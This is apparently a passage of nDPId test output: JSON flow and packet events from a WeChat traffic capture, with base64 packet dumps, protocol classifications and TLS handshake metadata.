+00784{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":419895,"pkt_caplen":328,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":328,"pkt_l4_len":294,"pkt":"eJKcD6iO8IQvSpdgCABFoAE6AABAADcRu+es2RdDwKgBZwG7ixEBJqaZAATD7MXnehtiXlUz+Hk1AeZaUc2+ZMvDZUZ0GqGxNNaAlZinDCrBrnaOATxSGsOCFMaCaFec4SV7oO\/kLFwrUENrwh1y1mgTHgoiDmnYRHxuSeGyRFMYgw\/xosUJkzw12lBcnAXTNv8a\/2SuAyzWJ4jI6Iu2NlHm3V9zQ8CxPjqgYIbUhNNdrG5USoTXaVi5Y7S5DrKlzxBm3pDBUHpSYYgnG\/IeF1QrqlkpO7en7C1cHKFw6gJSHCRIMxY8ZiapLj1p4qZkxYLvpZc5K1weMNgNi9AfEMvDInvOymojlrBOTgO6WjdYp9wpg0vGani4DMjzXYMZAzdJxYXKztZguyy1lTWS4COCVAf8P5zodYdJZ5FJBDf9WNj4Gj5A6A=="} +00445{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":446122,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"8IQvSpdgeJKcD6iOCABFAABCbjpAAEARRkXAqAFnrNkXQ4sRAbsALnSgDCoBZwIONIO7BYiI4Q8+7Irw1TjIeblP7I8YsZt0hiW0bAcHDAs="} +00436{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":467068,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"eJKcD6iO8IQvSpdgCABFoAA6AABAADcRvOes2RdDwKgBZwG7ixEAJriTAAUXSH3m+iN6aIxogGzNWS8zq8zerRpTJGHn\/W\/H"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1009,"source":"wechat.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1492167654504,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54106,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167654,"pkt_ts_usec":504261,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0DsBAAEAGBoXAqAFny82XotNaAbub+DW+SvgsEIARAOUK7AAAAQEICgAx4GBFrgFX"} +00505{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1012,"source":"wechat.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1492167654504,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54106,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00478{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1012,"source":"wechat.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1492167654504,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54106,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1012,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167662,"pkt_ts_usec":38819,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA00hRAACwGVpDLzZeiwKgBZwG702LyUvm5GyuHH4ARAHCUGQAAAQEICkXyPzYAMdPk"} +00426{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167662,"pkt_ts_usec":40225,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0VUlAAEAGv\/vAqAFny82XotNiAbsbK4cf8lL5uoAQAOV\/zAAAAQEICgAx57xF8j82"} +00425{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167667,"pkt_ts_usec":432251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePhAAEAGFxfAqAFnQOmnvIyxFGy60MyoSq1b+oAQAO34WQAAAQEICgAx7QCFoZCv"} +00426{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1019,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167667,"pkt_ts_usec":486259,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0HvAAACsGxX9A6ae8wKgBZxRsjLFKrVv6utDMqYAQAWWDwwAAAQEICoWiQKsAL7Ej"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1022,"source":"wechat.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1492167669545,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00690{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1022,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167669,"pkt_ts_usec":545491,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoADwPUUAAIARd2TAqAFkwKgB\/wCKAIoA3H9oEQ7+\/cCoAWQAigDGAAAgRUhFSkVQRkdFQkVPRU9FSkNORkFFRENBQ0FDQUNBQUEAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAALAAAAAAAAAAAAOgDAAAAAAAAAAAsAFYAAwABAAEAAgA9AFxNQUlMU0xPVFxCUk9XU0UADACguw0AV09SS0dST1VQAAAAAAAAAAMKABAAgP4HAABHSU9WQU5OSS1QQwA="} +00555{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1022,"source":"wechat.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1492167669545,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1023,"source":"wechat.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1492167669545,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1023,"source":"wechat.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":2,"flow_first_seen":1492167617247,"flow_last_seen":1492167617598,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54109,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1023,"source":"wechat.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":2,"flow_first_seen":1492167617247,"flow_last_seen":1492167617598,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54109,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1023,"source":"wechat.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":2,"flow_first_seen":1492167617247,"flow_last_seen":1492167617562,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54110,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1023,"source":"wechat.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":2,"flow_first_seen":1492167617247,"flow_last_seen":1492167617562,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1031,"source":"wechat.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1492167690433,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00405{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167690,"pkt_ts_usec":433709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":50,"pkt_l4_len":12,"pkt":"AQBeAAAB8IQvSpdgCABGoAAkj9oAAAEC8bHAqAH+4AAAAZQEAAARZOybAAAAAAIAAAA="} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1031,"source":"wechat.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1492167690433,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00409{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167690,"pkt_ts_usec":638500,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPVsAAAECRLLAqAFk4AAAFpQEAAAiAPsBAAAAAQIAAADgAAD8"} +00408{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167691,"pkt_ts_usec":48074,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPVwAAAECRLHAqAFk4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00411{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1037,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167693,"pkt_ts_usec":96253,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPV0AAAECRLDAqAFk4AAAFpQEAAAiAOwDAAAAAQIAAADv\/\/\/6"} +00409{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1038,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167693,"pkt_ts_usec":928244,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoAAFAAEAGDtDAqAFny82eIqtLAbsShiV+Tv6yylAQAOWcHAAA"} +00410{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1039,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167694,"pkt_ts_usec":228698,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAo4WxAADEGO8TLzZ4iwKgBZwG7q0tO\/rLKEoYlf1AQAHOcjQAA"} +00412{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":144163,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPV8AAAECRK7AqAFk4AAAFpQEAAAiAOwAAAAAAQIAAADv\/\/\/9"} +00411{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":236955,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoAAJAAEAGDs\/AqAFny82eIqtLAbsShiV\/Tv6yylARAOWcGgAA"} +00426{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1044,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":237043,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0VUpAAEAGv\/rAqAFny82XotNiAbsbK4cf8lL5uoARAOVfYAAAAQEICgAyCCdF8j82"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1045,"source":"wechat.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1492167695237,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54117,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1045,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":237173,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8M9xAAEAG4WDAqAFny82XotNlAbtEgzv7AAAAAKACchBSeAAAAgQFtAQCCAoAMggnAAAAAAEDAwc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1046,"source":"wechat.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1492167695488,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54118,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1046,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":488485,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8xuRAAEAGTljAqAFny82XotNmAbsIrs6CAAAAAKACchD7hQAAAgQFtAQCCAoAMghmAAAAAAEDAwc="} +00418{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1047,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":535847,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAo4W1AADEGO8PLzZ4iwKgBZwG7q0tO\/rLKEoYlgFAQAHOcjAAAAAAICnRO"} +00410{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1048,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":538677,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAo4W5AADEGO8LLzZ4iwKgBZwG7q0tO\/rLKEoYlgFARAHOciwAA"} +00409{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1049,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":538744,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoK+RAAEAG4uzAqAFny82eIqtLAbsShiWATv6yy1AQAOWcGQAA"} +00427{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1050,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":550159,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0ZdRAACwGwtDLzZeiwKgBZwG702LyUvm6GyuHIIAQAHA\/GwAAAQEICkXyX\/AAMggn"} +00439{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1051,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":562421,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG702WgJJlmRIM7\/KASN8ga\/wAAAgQFoAQCCApF0vJmADIIJwEDAwc="} +00425{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":562496,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0M91AAEAG4WfAqAFny82XotNlAbtEgzv8oCSZZ4AQAOWASQAAAQEICgAyCHhF0vJm"} +00750{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1053,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":562959,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiM95AAEAG4HjAqAFny82XotNlAbtEgzv8oCSZZ4AYAOVrOQAAAQEICgAyCHhF0vJmFgMBAOkBAADlAwO2WFDDl4dFyeBPNOhybUjd72FmGP\/nu4brBDO9flonhCBYxgzAaMyfJOk08sA4g8dg3UnK03IZIzAXShNAci3a7gAgurrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8WloAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIWloAHQAXABjKygABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1053,"source":"wechat.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1492167695237,"flow_last_seen":1492167695562,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54117,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00437{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":854360,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG702aaLHzgCK7Og6ASN8jmSwAAAgQFoAQCCApF0vKlADIIZgEDAwc="} +00426{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1055,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":854441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0xuVAAEAGTl\/AqAFny82XotNmAbsIrs6Dmix84YAQAOVLjAAAAQEICgAyCMFF0vKl"} +00426{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":890423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0a99AACwGvMXLzZeiwKgBZwG702WgJJlnRIM86oAQAHh\/dgAAAQEICkXS8rgAMgh4"} +02347{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167695,"pkt_ts_usec":891120,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIa+BAACwGtzDLzZeiwKgBZwG702WgJJlnRIM86oAQAHjJKwAAAQEICkXS8rgAMgh4FgMDAF0CAABZAwO6Hvtdy1\/xZryZSrWnJv06Ixk4sze\/ipN5ogdELbGC3iBB4xlOjKoTkDpNNo30AWaSGj1BD\/4+Gt6DSefvkE2ybsAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53